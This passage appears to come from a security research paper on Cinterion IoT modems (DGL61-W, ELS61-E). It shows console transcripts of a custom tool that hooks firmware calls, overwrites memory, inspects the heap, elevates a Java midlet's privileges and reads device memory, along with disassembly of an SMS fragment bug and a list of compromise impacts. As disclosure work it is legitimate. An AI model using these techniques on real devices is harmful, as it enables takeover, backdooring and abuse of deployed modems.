..X.6........... 0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00b0: 00 00 00 00 00 00 00 00 00 00 00 00 4d c5 86 86 ............M... 00c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00e0: a0 30 e8 81 90 1a e6 81 48 e7 a2 70 00 00 00 00 .0......H..p.... 00f0: 18 07 ce 80 bf 39 23 86 90 1a e6 81 00 00 00 00 .....9#......... ``` Hooks can change the execution result for a hooked call, they can block it too. They can have more complex forms too. For instance, the following sample shows a hook that does an overwrite of a memory content designated by agent variable 0 by the content of agent variable 1. The copy takes place at the time of a hooked call (test dummyproc handler in this case): ``` telcin> start a:/agent.jad OK telcin> dummyproc location: 0x81e8e800 code: 0x83b63f00 telcin> avset -i 0 -d 1111111111111111 telcin> avset -i 1 -d aabbccdd telcin> hook -c 0x81e8e800 -f entry -h mcopy=v_1:v_0:v_1_size telcin> hook -e 0 telcin> hook -i 0 telcin> hook -l [00] entry IE addr 0x83b9d410 location 0x81e8e800 callcnt 0x0000 telcin> avget -i 0 val: 0x83b9ce78 83b9ce78: 11 11 11 11 11 11 11 11 ........ telcin> avget -i 1 val: 0x83b9ce98 83b9ce98: aa bb cc dd .... telcin> invoke 0x83b9d410 [INVOKE 0x83b9d410] - a1 = 0x00000000 - a2 = 0x00000000 - a3 = 0x00000000 - a4 = 0x00000000 - a5 = 0x00000000 - a6 = 0x00000000 - a7 = 0x00000000 - a8 = 0x00000000 res: 0x00000000 telcin> hook -l [00] entry IE addr 0x83b9d410 location 0x81e8e800 callcnt 0x0001 telcin> avget -i 0 val: 0x83b9ce78 83b9ce78: aa bb cc dd 11 11 11 11 ........ telcin> avget -i 1 val: 0x83b9ce98 83b9ce98: aa bb cc dd .... telcin> ``` Additionally, the tool contains some helpers for investigating heap content of a target device. For instance, the following command can be used to obtain base information about the heap: ``` telcin> start a:/agent.jad OK telcin> memory device MEMORY MODE: device telcin> telcin> heapinfo heap_table: 80d066f4 - addr: 0x81df3be4 - base: 0x83df3be4 - first_addr: 0x81df46d8 [0x81df46f0] - last_addr: 0x83df3be0 [0x83df3bf8] - alloc_size: 0x01dbb6c0 ``` Current heap state understood as information about all allocated and free chunks can be easly acquired too: ``` telcin> heapstate -p 0x81df46d8 -m 0x86000000/0xff000000 -s heap.dat [HEAP STATE] code: 0x00000000 buf: 0x83ba35e0 size: 0x00001e54 (647) [0000] 0x81df46f0 size 0x0000003c busy [0001] 0x81df4910 size 0x00000020 busy [0002] 0x81df4a98 size 0x00000064 busy [0003] 0x81df4c48 size 0x00000020 busy [0004] 0x81df4cd8 size 0x00000084 busy [0005] 0x81df4db0 size 0x00000020 busy [0006] 0x81df4de8 size 0x00000020 busy [0007] 0x81df4e20 size 0x0000003c busy [0008] 0x81df4e78 size 0x0000003c busy [0009] 0x81df4ed0 size 0x0000003c busy [000a] 0x81df4f28 size 0x0000003c busy [000b] 0x81df4f80 size 0x0000003c busy [000c] 0x81df4fd8 size 0x0000003c busy [000d] 0x81df5030 size 0x0000003c busy [000e] 0x81df5088 size 0x0000003c busy [000f] 0x81df5108 size 0x00004000 busy [0010] 0x81df9650 size 0x0000003c busy [0011] 0x81df9810 size 0x0000003c busy [0012] 0x81df9868 size 0x0000003c busy [0013] 0x81df98c0 size 0x00000010 busy [0014] 0x81df98e8 size 0x00000010 busy [0015] 0x81df9910 size 0x0000003c busy [0016] 0x81df9970 size 0x0000001c busy [0017] 0x81df99a8 size 0x00000024 busy [0018] 0x81e05818 size 0x00000084 busy [0019] 0x81e058b8 size 0x00000020 busy ... ``` Allocated heap state can be searched for word patterns. The following sample illustrates a search for OMA DM structure holding implementation code pointers: ``` telcin> heapstate -p 0x81df46d8 -m 0x86BDFDC0/0xffffffff [HEAP STATE] code: 0x83bc67c0 buf: 0x83ba35e0 size: 0x00000018 (2) [0000] 0x81efac60 size 0x00000054 busy [0001] 0x81f48580 size 0x00018fff busy TOTAL free: 00000000 TOTAL alloc: 00019053 ``` Discoverd chunk can be confirmed with the use of `dmstruc` command showing the location of the target DM structure (`ptr table`): ``` telcin> dmstruc OMADM tree: 0x83b5b4e0 struc addr: 0x81e42ad8 ptr table: 0x81efac60 ``` More detailed information about given heap chunk can be also obtained: ``` telcin> malloc 0x20 res: 0x81eeae60 telcin> ptrinfo 0x81eeae28 [0x81eeae28] start: 0x81eeae10 size: 0x00000038 alloc_size: 0x00000020 left: 0x00000000 prev: 0x81eeade0 [0x81eeadf8] next: 0x81eeae48 [0x81eeae60] telcin> dmem 0x81eeae10 81eeae10: 44 33 22 11 31 00 00 00 04 56 aa 55 39 00 00 00 D3".1....V.U9... 81eeae20: 20 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 ................ 81eeae30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 81eeae40: 00 00 00 00 00 00 00 00 44 33 22 11 39 00 00 00 ........D3".9... 81eeae50: 04 56 aa 55 39 00 00 00 20 00 00 00 01 00 00 00 .V.U9........... 81eeae60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 81eeae70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 81eeae80: 44 33 22 11 39 00 00 00 e0 55 aa 55 29 00 00 00 D3".9....U.U)... 81eeae90: 0c 00 00 00 01 00 00 00 08 00 00 00 00 02 1f 02 ................ 81eeaea0: 04 02 40 04 44 c2 e5 80 44 33 22 11 29 00 00 00 ..@.D...D3".)... 81eeaeb0: 14 56 aa 55 49 00 00 00 20 00 00 00 01 00 00 00 .V.UI........... 81eeaec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 81eeaed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 81eeaee0: 44 00 00 00 44 00 00 00 44 00 00 00 00 00 00 00 D...D...D....... 81eeaef0: 44 33 22 11 49 00 00 00 08 56 aa 55 41 00 00 00 D3".I....V.UA... 81eeaf00: 1c 00 00 00 01 00 00 00 34 6d 34 87 0a 00 0a 03 ........4m4..... ``` Finally, device firmware contains multiple invocations of a debug / logging subrutines. These are not displayed in the console though. An investigation of their operation made it possible to install a hijack hook that gathers log information to either memory buffer or a file (`a:/trace.txt`). The trace content can provide many insights into the system operation (how it responds to various input in particular, what functionality is or is not invoked as part of it, etc.): ``` telcin> tracelog [TRACE LOG] - trace_handler: 839622f0 - logbuf: 838622e4 - data_size: 00006b82 - read_pos: 00000000 - log_full: 0 [C-AT]UtaCatIoAsyncSelectCb: dev_hdl=262168,evt=0x2 [C-AT]CatIO_Async_cb:dev_hdl=262168,evt=0x2 [C-AT]UtaCatIoAsyncSelectCb: dev_hdl=262168,evt=0x2 [C-AT]CatIO_Async_cb:dev_hdl=262168,evt=0x2 [VRC_Event_OnJrcSetDataMode] disable SCC: T:1 jBlocked ON [vrc_jrc_set_datamode] ret = 0 SIO: T:1 dsr=1 SIO: DCD-OFF SIO: T:1 dsr=1, cts=0, dcd=0, ri=0, ul-fl=1 SIO: T:1 dsr=1 SIO: T:1 dsr=1, cts=1, dcd=0, ri=0, ul-fl=0 SCC: T:1 M: OFFLINE-CMD, SCC: T:1 jOwnDCD OFF [VRC_Event_OnJrcSetDataMode] res=0, esc=0 Error Code 0 vrc_jrc_notify_command_complete : reset jrc_cmdline_start(FALSE) java_rc_notify_command_complete in vrc. vrc_jrc_notify_cmdline_complete:: set jrc_cmdline_start = UTA_FALSE; SCC: T:1 jBlocked OFF SCC: T:1 L:6 R: OK Command:-[C-AT] Mode: 1, CNMIoveride?=0, msghandler?=0, msg?= URC Type : ^SMONI_METRIC >< SIM ID : 0>< count of processors : 29 URC Type : ^SNMON_METRIC >< SIM ID : 0>< count of processors : 29 JD debug: rsrp=0,rsrq=0,drx=0,rssi=0,squal=0,srxlev=0 URC Type : LSTA_METRIC >< SIM ID : 0>< count of processors : 29 URC Type : ^SMONI_METRIC >< SIM ID : 0>< count of processors : 29 URC Type : ^SNMON_METRIC >< SIM ID : 0>< count of processors : 29 JD debug: rsrp=0,rsrq=0,drx=0,rssi=0,squal=0,srxlev=0 URC Type : LSTA_METRIC >< SIM ID : 0>< count of processors : 29 URC Type : ^SMONI_METRIC >< SIM ID : 0>< count of processors : 29 URC Type : ^SNMON_METRIC >< SIM ID : 0>< count of processors : 29 JD debug: rsrp=0,rsrq=0,drx=0,rssi=0,squal=0,srxlev=0 URC Type : LSTA_METRIC >< SIM ID : 0>< count of processors : 29 SCC: T:27 M: OFFLINE-BUSY, OFFLINE-BUSY SCC: T:27 L:8 C: at+COPS? [C-AT]UtaCatIoAsyncSelectCb: dev_hdl=262158,evt=0x1 [C-AT]CatIO_Async_cb:dev_hdl=262158,evt=0x1 SCC: T:27 M: OFFLINE-CHAR, OFFLINE-CHAR [C-AT]cat_set_abort_mode: ABORT_SET done,devpath=/iojava/0, hdl=262158 CMD not recognized on JRC:100, try next. next_jrc_client: 6. CMD not recognized on JRC:6, try next. next_jrc_client: 1. CMD not recognized on JRC:1, try next. no more jrc processor left, try native functions. [EXECUTING CMD] : +COPS => DESCR : Operator Selection SCC: T:27 M: OFFLINE-CHAR, OFFLINE-CHAR [C-AT]cat_set_abort_mode: ABORT_SET done,devpath=/iojava/0, hdl=262158 SCC: T:27 L:12 R: +COPS: 2 Error Code 0 ``` ### REVERSE ENGINEERING OUTCOME Static firmware analysis along tracelog inspection and dynamic API hooking made it possible to reverse engineer the following information about target device (among other): - threads list and start adress information (`data\threads.txt`) - AT commands and their handlesr (`data\atcmds.txt`) - system URCs and their handlesr (`data\sysurc.txt`) - signal queues for baseband processor tasks (`data\sigqueues.txt`) - scfg parameteres and their handlers (`data\scfginfo.txt`) - MBIM commands and their handlers (`data\mbimcmds.txt`) - program test interfaces, their args and handlers (`data\interfaces_full.txt`) - compete dump of JVM classes, methods and fields (`data\cwm.txt`) - JVM bytecode handlers (`data\bytecodes.txt`) - OMA DM tree content (`data\dmtree.txt`) It made discovery and exploitation of the issues described in this paper possible in particular. #### CVM CLASSES DUMP It is interesting to note that CLDC HI and internal fast VM opcodes makes it possible to dump JVM classes in a very descriptive form. All static and virtual methods can be resolved, same for all field and class references. As a result an annotated code listing can be obtained for all Java based code implemented by target device. This is illustrated below by a fragment of a code dump for `com/cinterion/lwm2m/client/util/GprsNetwork` class: ``` [com/cinterion/lwm2m/client/util/GprsNetwork] addr: 81f8f2c4 klass: 871fca94 object_size: 0034 instance_size: 0018 embedded_start: 00000028 prototypical_near: 818b7a34 class_info: 8720e32c subtype_cache_1: 00000000 subtype_cache_2: 00000000 array_class: 00000000 superclass: 81f86e80 java/lang/Object next: 81f902b0 CLASSDESC klass: 87083c00 object_size: 008c vtable_length: 0018 itable_length: 0000 class_id: 00000324 name: 8716c49c access_flags: 18000021 public class VERIFIED PRELOADED methods: 87248068 fields: 87248084 static_field_end: 00000024 local_interfaces: 871fd6c4 inner_classes: 00000000 constants: 871ac80c METHODS [00] ()V access_flags: 03245282 private name_idx: 2837 signature_idx: 5783 code_size: 0024 bytecode 0000: 2a cc 5a 4b d9 01 00 2a cc 5a 4b d9 02 00 2a cc *.ZK...*.ZK...*. 0010: 5a 4b d9 03 00 2a cc 5a 4b d9 04 00 2a cc 5a 4b ZK...*.ZK...*.ZK 0020: d9 05 00 b1 .... 0000 aload_0 0001 fast_1_ldc_w = "" 0004 fast_aputfield 1 0007 aload_0 0008 fast_1_ldc_w = "" 000b fast_aputfield 2 000e aload_0 000f fast_1_ldc_w = "" 0012 fast_aputfield 3 0015 aload_0 0016 fast_1_ldc_w = "" 0019 fast_aputfield 4 001c aload_0 001d fast_1_ldc_w = "" 0020 fast_aputfield 5 0023 return [01] getInstance()Lcom/cinterion/lwm2m/client/util/GprsNetwork; access_flags: 03245289 public name_idx: 215a signature_idx: 2dda code_size: 0015 bytecode 0000: 01 d1 80 fe a6 00 0d e8 80 ff 59 e6 81 00 d0 80 ..........Y..... 0010: fe d1 80 fe b0 ..... 0000 aconst_null 0001 fast_1_getstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020 0004 if_acmpne 11 0007 fast_new Lcom/cinterion/lwm2m/client/util/GprsNetwork; 000a dup 000b fast_invokevirtual_final com/cinterion/lwm2m/client/util/GprsNetwork.()V 000e fast_a_putstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020 0011 fast_1_getstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020 0014 areturn [02] init(Lcom/cinterion/lwm2m/client/object/ATCommander;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V access_flags: 03240289 public name_idx: 0955 signature_idx: 3630 code_size: 00a0 bytecode 0000: 01 d1 80 fe a6 00 0d e8 80 ff 59 e6 81 00 d0 80 ..........Y..... 0010: fe d1 80 fe 2b d9 01 00 d1 80 fe 2c d9 02 00 d1 ....+......,.... 0020: 80 fe 2d d9 03 00 d1 80 fe 19 04 d9 04 00 d1 80 ..-............. 0030: fe 19 05 d9 05 00 d1 81 01 cc 6b cc e4 7e 2c 02 ..........k...,. 0040: 00 2a cc 6e 3c cc 6c bd e2 81 02 2a cc 6e cf cc .*.n<.l....*.n.. 0050: 6c bd e2 81 02 2a cc 6a 93 cc 6c bd e2 81 02 2a l....*.j..l....* 0060: cc 5b c7 cc 6c bd e2 81 02 2a cc 5e 75 cc 6c bd .[..l....*.^u.l. 0070: e2 81 02 d1 80 fe e2 81 03 57 d1 80 fe 03 e2 81 .........W...... 0080: 04 d1 80 fe e6 81 05 d1 80 fe e6 81 06 a7 00 12 ................ 0090: 3a 06 e8 81 07 59 19 06 e2 72 45 e6 81 08 bf b1 :....Y...rE..... 0000 aconst_null 0001 fast_1_getstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020 0004 if_acmpne 11 0007 fast_new Lcom/cinterion/lwm2m/client/util/GprsNetwork; 000a dup 000b fast_invokevirtual_final com/cinterion/lwm2m/client/util/GprsNetwork.()V 000e fast_a_putstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020 0011 fast_1_getstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020 0014 aload_1 0015 fast_aputfield 1 0018 fast_1_getstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020 001b aload_2 001c fast_aputfield 2 001f fast_1_getstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020 0022 aload_3 0023 fast_aputfield 3 0026 fast_1_getstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020 0029 aload 4 002b fast_aputfield 4 002e fast_1_getstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020 0031 aload 5 0033 fast_aputfield 5 0036 fast_1_getstatic com/cinterion/lwm2m/client/util/GprsNetwork.log [Lcom/cinterion/lwm2m/client/log/Logger$ILog;] 0039 fast_1_ldc_w = "Disable echo..." 003c fast_invokeinterface com/cinterion/lwm2m/client/log/Logger$ILog.debug(Ljava/lang/String;)V 0041 nop 0042 aload_0 0043 fast_1_ldc_w = "ate0 " 0046 fast_1_ldc_w = "OK" 0049 fast_invokevirtual send(Ljava/lang/String;Ljava/lang/String;)V 004c aload_0 004d fast_1_ldc_w = "at+cmee=2 " 0050 fast_1_ldc_w = "OK" 0053 fast_invokevirtual send(Ljava/lang/String;Ljava/lang/String;)V 0056 aload_0 0057 fast_1_ldc_w = "at^sctm=1,1 " 005a fast_1_ldc_w = "OK" 005d fast_invokevirtual send(Ljava/lang/String;Ljava/lang/String;)V 0060 aload_0 0061 fast_1_ldc_w = "ati1 " 0064 fast_1_ldc_w = "OK" 0067 fast_invokevirtual send(Ljava/lang/String;Ljava/lang/String;)V 006a aload_0 006b fast_1_ldc_w = "AT+CGMM " 006e fast_1_ldc_w = "OK" 0071 fast_invokevirtual send(Ljava/lang/String;Ljava/lang/String;)V 0074 fast_1_getstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020 0077 fast_invokevirtual checkSIM()Lcom/cinterion/lwm2m/client/util/SIM; 007a pop 007b fast_1_getstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020 007e iconst_0 007f fast_invokevirtual setAirplaneMode(Z)V 0082 fast_1_getstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020 0085 fast_invokevirtual_final com/cinterion/lwm2m/client/util/GprsNetwork.configSjnet()V 0088 fast_1_getstatic com/cinterion/lwm2m/client/util/GprsNetwork.off_0020 008b fast_invokevirtual_final com/cinterion/lwm2m/client/util/GprsNetwork.adjustClock()V 008e goto a0 0091 astore 6 0093 fast_new Lcom/cinterion/lwm2m/client/util/GprsNetworkException; 0096 dup 0097 aload 6 0099 fast_invokevirtual getMessage()Ljava/lang/String; 009c fast_invokevirtual_final com/cinterion/lwm2m/client/util/GprsNetworkException.(Ljava/lang/String;)V 009f athrow ... ``` ## IMPACT TO OTHER DEVICES The Cinterion line of devices contain many IoT modem / gateway devices as indicated. These are indicated in Java code (`getGeneralProductName` method of `com.cinterion.ident.Product` class): ``` "BGS5" "BGS8" "EHS5" "EHS5-E" "EHS5-US" "EHS5-DEBUG" "JAKARTA-DEBUG" "EHS6" "EHS6-REL2.5" "EHS6-A" "EHS8" "PDS5" "PDS5-E" "PDS5-US" "PDS6" "PDS6-J" "PDS8" "ELS61" "ELS61-E" "ELS61-US" "ELS61-CHINA" "ELS61-AUS" "ELS61-USA" "ELS81" "ELS81-E" "ELS81-US" "716-GLOBAL-BOARD" "PLS52" "PLS62" "PLS52-E" "PLS62-W" ``` JRC midlet code indicates that some of these devices (`EHS5-E` and `ELS61-E`) contain similar code sequences as vulnerable `DGL61-W`. We verified that `ELS61-E` with latest firmware update applied (with `JRC-1.64.02`) is affected to Java issues and can be successfully exploited for memory read, write and code execution access. This is illustrated below. Please, note that due to the fact that `com.cinterion.io.ATCommand` class is missing in `ELS61-E` firmware, the exploit is demonstrated with the use of `pejava` (privilege elevation for Java) command (it could likely be demonstrated with the use of `com.cinterion.internal.ATCommandHelper` class): ``` telcin> run ai.scr telcin> telcin> print "### installing Agent" ### installing Agent telcin> telcin> put midlet\agent\agent.jar a:/agent.jar ERROR: path not found uploading a:/agent.jar [###############################] telcin> telcin> put midlet\agent\agent.jad a:/agent.jad uploading a:/agent.jad [###############################] telcin> telcin> sleep 200 telcin> telcin> install a:/agent.jad OK telcin> pejava downloading a:/cwmjava/00000005.ii [###############################] downloading a:/cwmjava/00000007.ii [###############################] downloading a:/cwmjava/00000009.ii [###############################] Making Agent midlet privileged uploading a:/cwmjava/00000009.ii [###############################] uploading a:/cwmjava/00000009.ss [###############################] DONE telcin> start a:/agent.jad OK telcin> appinfo -r #### RUNNING APPS #### [Java Remote Control MIDlet Suite] url: a:/JRC-1.64.02.jad vendor: Cinterion version 1.64.02 autostart: 1 priority: 1 [agent] url: a:/agent.jad vendor: AGSecRes version 1.0 autostart: 0 priority: 0 telcin> agent AGENT ready telcin> cpuinfo [CPU INFO] - vendor: ARM Limited - model: ARM1176 - mode: Supervisor - MMU: enabled telcin> dmem 0x86400000 86400000: 53 54 4d 4f 4e 5f 45 52 52 5f 49 4e 56 41 4c 49 STMON_ERR_INVALI 86400010: 44 5f 53 49 47 4e 41 4c 5f 49 44 20 20 20 20 20 D_SIGNAL_ID..... 86400020: 20 20 20 3d 20 2d 34 00 53 54 4d 4f 4e 5f 45 52 ...=.-4.STMON_ER 86400030: 52 5f 49 4e 56 41 4c 49 44 5f 49 4e 54 5f 53 49 R_INVALID_INT_SI 86400040: 47 4e 41 4c 5f 49 44 20 20 20 20 3d 20 2d 35 00 GNAL_ID....=.-5. 86400050: 53 54 4d 4f 4e 5f 45 52 52 5f 4f 50 5f 53 49 47 STMON_ERR_OP_SIG 86400060: 4e 41 4c 5f 4e 4f 54 5f 46 52 45 45 20 20 20 20 NAL_NOT_FREE.... 86400070: 20 20 20 3d 20 2d 36 00 53 54 4d 4f 4e 5f 45 52 ...=.-6.STMON_ER 86400080: 52 5f 49 4e 56 41 4c 49 44 5f 48 41 4e 44 4c 45 R_INVALID_HANDLE 86400090: 20 20 20 20 20 20 20 20 20 20 20 3d 20 2d 37 00 ...........=.-7. 864000a0: 53 54 4d 4f 4e 5f 45 52 52 5f 48 41 4e 44 4c 45 STMON_ERR_HANDLE 864000b0: 5f 41 4c 52 45 41 44 59 5f 46 52 45 45 20 20 20 _ALREADY_FREE... 864000c0: 20 20 20 3d 20 2d 38 00 53 54 4d 4f 4e 5f 45 52 ...=.-8.STMON_ER 864000d0: 52 5f 50 43 4c 5f 4e 4f 54 5f 46 52 45 45 20 20 R_PCL_NOT_FREE.. 864000e0: 20 20 20 20 20 20 20 20 20 20 20 3d 20 2d 39 00 ...........=.-9. 864000f0: 53 54 4d 4f 4e 5f 45 52 52 5f 49 4e 54 45 52 4e STMON_ERR_INTERN ``` It is also worth to mention that the code for handling SMS fragments is the same as in `DGL61-W` device case: ``` ROM:86165402 loc_86165402 ; CODE XREF: ROM:861653F6↑j ROM:86165402 LDRH R0, [R4,#0x1A] ; saved ref id ROM:86165404 LDRB R1, [R5,#3] ; ref id ROM:86165406 CMP R0, R1 ROM:86165408 BEQ loc_86165432 ; BUG -> alloc gets skipped if ref id matches ROM:86165408 ; ROM:86165408 ; SMS1: refid, frag x, total frag = 5 ROM:86165408 ; SMS1: refid, frag 10, total frag = 20 <-- out of memory write ? ROM:8616540A LDR R0, [R4,#0x24] ROM:8616540C CMP R0, #0 ROM:8616540E BEQ loc_8616541A ROM:86165410 LDRB R1, [R7,#8] ROM:86165412 CMP R1, #0 ROM:86165414 BEQ loc_8616541A ROM:86165416 BL agsr_UtaCmmMemoryFree ``` This implicates `ELS61-E` device could be also vulnerable to SMS fragments handling vulnerability (Issue 18). ## VULNERABILITIES IMPACT Below, sample impact of a device compromise is provided: - secrets theft - access to backend services - bricking the device (making it unusuable, by erasing / overwriting firmware) - backdooring the device (a silent backoor can be implemented) - using the device for calls to premium telephone / SMS numbers - using the device as massive SMS sender (spam messages, phishing messages, messages pointing to exploit page) - using the device as a proxy in attacks (launch hack attacks against other networks from the device, use of the number as an identity verification, etc.) - sniffing of some of the communication occuring through the device (if not encrypted) - providing false information to the cloud server (such as SLAE), proxying communication with cloud server (so that all traffic goes through attacker's server)